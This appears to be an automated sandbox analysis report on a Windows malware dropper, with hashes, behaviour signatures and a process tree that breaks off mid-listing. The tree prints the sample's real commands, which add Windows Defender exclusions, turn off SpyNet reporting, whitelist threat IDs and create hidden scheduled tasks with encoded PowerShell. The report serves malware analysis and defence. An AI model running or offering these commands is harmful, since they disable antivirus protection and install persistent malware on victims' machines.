Analysis

  • max time kernel
    93s
  • max time network
    95s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20240226-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
  • submitted
    03/04/2024, 11:01

General

  • Target

    cd397b8859f41846902412c7a48da2adf6f5c0dba1497457009e0495aa01fda6.exe

  • Size

    6.6MB

  • MD5

    043dbd643661057bd57f2b5fef28d155

  • SHA1

    08819d63ab2f4641aaf891575b46f3b458045fa2

  • SHA256

    cd397b8859f41846902412c7a48da2adf6f5c0dba1497457009e0495aa01fda6

  • SHA512

    b5abb4082995d7f2b653d7621afceb8b0c455cc0379d7d6c643cf6c43d2e3e24fbdfb391f18cea1c5b7af51be99f2e128f587be2c71e18e6ad0c88a66ff56439

  • SSDEEP

    98304:91OqpDcPHB7oWB0q32sghrEGog5UFI0eDyNGfJ9cnqzdmHQuuWy4rk0yaYWngUxk:91OqSKWBz3lgi+0fYLfsvry4A0y2gnxn

Malware Config

Signatures

  • Blocklisted process makes network request 1 IoCs
  • Checks BIOS information in registry 2 TTPs 2 IoCs

    BIOS information is often read in order to detect sandboxing environments.

  • Checks computer location settings 2 TTPs 2 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Executes dropped EXE 3 IoCs
  • Loads dropped DLL 1 IoCs
  • Reads user/profile data of web browsers 2 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

  • Checks installed software on the system 1 TTPs

    Looks up Uninstall key entries in the registry to enumerate software on the system.

  • Drops Chrome extension 2 IoCs
  • Drops desktop.ini file(s) 1 IoCs
  • Drops file in System32 directory 29 IoCs
  • Drops file in Program Files directory 14 IoCs
  • Drops file in Windows directory 4 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Creates scheduled task(s) 1 TTPs 11 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Enumerates system info in registry 2 TTPs 4 IoCs
  • Modifies data under HKEY_USERS 64 IoCs
  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious use of AdjustPrivilegeToken 4 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs

Processes

  • C:\Users\Admin\AppData\Local\Temp\cd397b8859f41846902412c7a48da2adf6f5c0dba1497457009e0495aa01fda6.exe
    "C:\Users\Admin\AppData\Local\Temp\cd397b8859f41846902412c7a48da2adf6f5c0dba1497457009e0495aa01fda6.exe"
    1⤵
    • Suspicious use of WriteProcessMemory
    PID:1712
    • C:\Users\Admin\AppData\Local\Temp\7zS31BE.tmp\Install.exe
      .\Install.exe /dEKGWdidYWnQ "385118" /S
      2⤵
      • Checks BIOS information in registry
      • Checks computer location settings
      • Executes dropped EXE
      • Drops file in System32 directory
      • Enumerates system info in registry
      • Suspicious use of WriteProcessMemory
      PID:784
      • C:\Windows\SysWOW64\forfiles.exe
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:4332
        • C:\Windows\SysWOW64\cmd.exe
          /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
          4⤵
          • Suspicious use of WriteProcessMemory
          PID:4216
          • \??\c:\windows\SysWOW64\reg.exe
            REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
            5⤵
              PID:6104
            • \??\c:\windows\SysWOW64\reg.exe
              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
              5⤵
                PID:4520
          • C:\Windows\SysWOW64\forfiles.exe
            "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet\" /f /v \"SpyNetReporting\" /t REG_DWORD /d 0 /reg:64&"
            3⤵
            • Suspicious use of WriteProcessMemory
            PID:2404
            • C:\Windows\SysWOW64\cmd.exe
              /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64&
              4⤵
              • Suspicious use of WriteProcessMemory
              PID:4608
              • \??\c:\windows\SysWOW64\reg.exe
                REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:32
                5⤵
                  PID:224
                • \??\c:\windows\SysWOW64\reg.exe
                  REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Spynet" /f /v "SpyNetReporting" /t REG_DWORD /d 0 /reg:64
                  5⤵
                    PID:3956
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /CREATE /TN "gjzDJYWGS" /SC once /ST 08:27:23 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
                3⤵
                • Creates scheduled task(s)
                PID:3556
              • C:\Windows\SysWOW64\schtasks.exe
                schtasks /run /I /tn "gjzDJYWGS"
                3⤵
                  PID:4128
                • C:\Windows\SysWOW64\schtasks.exe
                  schtasks /DELETE /F /TN "gjzDJYWGS"
                  3⤵
                    PID:3588
                  • C:\Windows\SysWOW64\schtasks.exe
                    schtasks /CREATE /TN "bCAdHbOFiqtMCRhbmR" /SC once /ST 11:02:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\HPSMzKd.exe\" hl /Fksite_idfNB 385118 /S" /V1 /F
                    3⤵
                    • Drops file in Windows directory
                    • Creates scheduled task(s)
                    PID:2744
              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE
                C:\Windows\System32\WindowsPowerShell\v1.0\powershell.EXE -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA==
                1⤵
                • Suspicious behavior: EnumeratesProcesses
                • Suspicious use of AdjustPrivilegeToken
                • Suspicious use of WriteProcessMemory
                PID:344
                • C:\Windows\system32\gpupdate.exe
                  "C:\Windows\system32\gpupdate.exe" /force
                  2⤵
                    PID:5892
                • C:\Windows\system32\svchost.exe
                  C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -p -s fhsvc
                  1⤵
                    PID:5092
                  • C:\Windows\system32\svchost.exe
                    C:\Windows\system32\svchost.exe -k LocalSystemNetworkRestricted -s WPDBusEnum
                    1⤵
                      PID:5680
                    • C:\Windows\system32\gpscript.exe
                      gpscript.exe /RefreshSystemParam
                      1⤵
                        PID:2956
                      • C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\HPSMzKd.exe
                        C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\eIbkjtffPnzBjHv\HPSMzKd.exe hl /Fksite_idfNB 385118 /S
                        1⤵
                        • Executes dropped EXE
                        • Drops file in System32 directory
                        • Suspicious use of WriteProcessMemory
                        PID:4244
                        • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                          powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"225451\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"256596\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"242872\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749373\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147807942\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735735\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737010\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737007\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147735503\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147749376\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147737394\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"2147841147\" /t REG_SZ /d 6 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction\" /f /v \"359386\" /t REG_SZ /d 6 /reg:64;"
                          2⤵
                          • Drops file in System32 directory
                          • Modifies data under HKEY_USERS
                          • Suspicious behavior: EnumeratesProcesses
                          • Suspicious use of AdjustPrivilegeToken
                          • Suspicious use of WriteProcessMemory
                          PID:2748
                          • C:\Windows\SysWOW64\cmd.exe
                            "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                            3⤵
                            • Suspicious use of WriteProcessMemory
                            PID:64
                            • C:\Windows\SysWOW64\reg.exe
                              REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:32
                              4⤵
                                PID:5668
                            • C:\Windows\SysWOW64\reg.exe
                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 225451 /t REG_SZ /d 6 /reg:64
                              3⤵
                                PID:4812
                              • C:\Windows\SysWOW64\reg.exe
                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:32
                                3⤵
                                  PID:4676
                                • C:\Windows\SysWOW64\reg.exe
                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 256596 /t REG_SZ /d 6 /reg:64
                                  3⤵
                                    PID:2348
                                  • C:\Windows\SysWOW64\reg.exe
                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:32
                                    3⤵
                                      PID:2460
                                    • C:\Windows\SysWOW64\reg.exe
                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 242872 /t REG_SZ /d 6 /reg:64
                                      3⤵
                                        PID:1688
                                      • C:\Windows\SysWOW64\reg.exe
                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:32
                                        3⤵
                                          PID:2028
                                        • C:\Windows\SysWOW64\reg.exe
                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749373 /t REG_SZ /d 6 /reg:64
                                          3⤵
                                            PID:5188
                                          • C:\Windows\SysWOW64\reg.exe
                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:32
                                            3⤵
                                              PID:1824
                                            • C:\Windows\SysWOW64\reg.exe
                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147807942 /t REG_SZ /d 6 /reg:64
                                              3⤵
                                                PID:2044
                                              • C:\Windows\SysWOW64\reg.exe
                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:32
                                                3⤵
                                                  PID:2132
                                                • C:\Windows\SysWOW64\reg.exe
                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735735 /t REG_SZ /d 6 /reg:64
                                                  3⤵
                                                    PID:3600
                                                  • C:\Windows\SysWOW64\reg.exe
                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:32
                                                    3⤵
                                                      PID:5612
                                                    • C:\Windows\SysWOW64\reg.exe
                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737010 /t REG_SZ /d 6 /reg:64
                                                      3⤵
                                                        PID:2020
                                                      • C:\Windows\SysWOW64\reg.exe
                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:32
                                                        3⤵
                                                          PID:2764
                                                        • C:\Windows\SysWOW64\reg.exe
                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737007 /t REG_SZ /d 6 /reg:64
                                                          3⤵
                                                            PID:3276
                                                          • C:\Windows\SysWOW64\reg.exe
                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:32
                                                            3⤵
                                                              PID:4180
                                                            • C:\Windows\SysWOW64\reg.exe
                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737503 /t REG_SZ /d 6 /reg:64
                                                              3⤵
                                                                PID:1424
                                                              • C:\Windows\SysWOW64\reg.exe
                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:32
                                                                3⤵
                                                                  PID:3412
                                                                • C:\Windows\SysWOW64\reg.exe
                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147735503 /t REG_SZ /d 6 /reg:64
                                                                  3⤵
                                                                    PID:5028
                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:32
                                                                    3⤵
                                                                      PID:3200
                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147749376 /t REG_SZ /d 6 /reg:64
                                                                      3⤵
                                                                        PID:2224
                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:32
                                                                        3⤵
                                                                          PID:2988
                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147737394 /t REG_SZ /d 6 /reg:64
                                                                          3⤵
                                                                            PID:5088
                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:32
                                                                            3⤵
                                                                              PID:5508
                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 2147841147 /t REG_SZ /d 6 /reg:64
                                                                              3⤵
                                                                                PID:3920
                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:32
                                                                                3⤵
                                                                                  PID:1976
                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Threats\ThreatIDDefaultAction" /f /v 359386 /t REG_SZ /d 6 /reg:64
                                                                                  3⤵
                                                                                    PID:3044
                                                                                • C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
                                                                                  powershell "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\LCifMpYymZWU2\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\gbPxNkbXHfUn\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\mVqQIGUXDOgrC\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yucluTmaHGGxjmhxbXR\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Program Files (x86)\yvWovCiVU\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\ProgramData\WkkDuRgYrrqHXcVB\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Extensions\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Users\Admin\AppData\Local\Temp\ElyBxStRAaEXFVuko\" /t REG_DWORD /d 0 /reg:64;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:32;REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths\" /f /v \"C:\Windows\Temp\IzRZTwSZebgYVSAl\" /t REG_DWORD /d 0 /reg:64;"
                                                                                  2⤵
                                                                                  • Drops file in System32 directory
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  PID:3192
                                                                                  • C:\Windows\SysWOW64\cmd.exe
                                                                                    "C:\Windows\system32\cmd.exe" /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                    3⤵
                                                                                      PID:5644
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:32
                                                                                        4⤵
                                                                                          PID:3152
                                                                                      • C:\Windows\SysWOW64\reg.exe
                                                                                        "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\LCifMpYymZWU2" /t REG_DWORD /d 0 /reg:64
                                                                                        3⤵
                                                                                          PID:4084
                                                                                        • C:\Windows\SysWOW64\reg.exe
                                                                                          "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:32
                                                                                          3⤵
                                                                                            PID:4224
                                                                                          • C:\Windows\SysWOW64\reg.exe
                                                                                            "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\gbPxNkbXHfUn" /t REG_DWORD /d 0 /reg:64
                                                                                            3⤵
                                                                                              PID:3844
                                                                                            • C:\Windows\SysWOW64\reg.exe
                                                                                              "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:32
                                                                                              3⤵
                                                                                                PID:1096
                                                                                              • C:\Windows\SysWOW64\reg.exe
                                                                                                "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\mVqQIGUXDOgrC" /t REG_DWORD /d 0 /reg:64
                                                                                                3⤵
                                                                                                  PID:4108
                                                                                                • C:\Windows\SysWOW64\reg.exe
                                                                                                  "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:32
                                                                                                  3⤵
                                                                                                    PID:452
                                                                                                  • C:\Windows\SysWOW64\reg.exe
                                                                                                    "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yucluTmaHGGxjmhxbXR" /t REG_DWORD /d 0 /reg:64
                                                                                                    3⤵
                                                                                                      PID:3260
                                                                                                    • C:\Windows\SysWOW64\reg.exe
                                                                                                      "C:\Windows\system32\reg.exe" ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Paths" /f /v "C:\Program Files (x86)\yvWovCiVU" /t REG_DWORD /d 0 /reg:32
                                                                                                      3⤵
                                                                                                        PID:3320
                                                                                                      • C:\Windows\SysWOW64\reg.exe
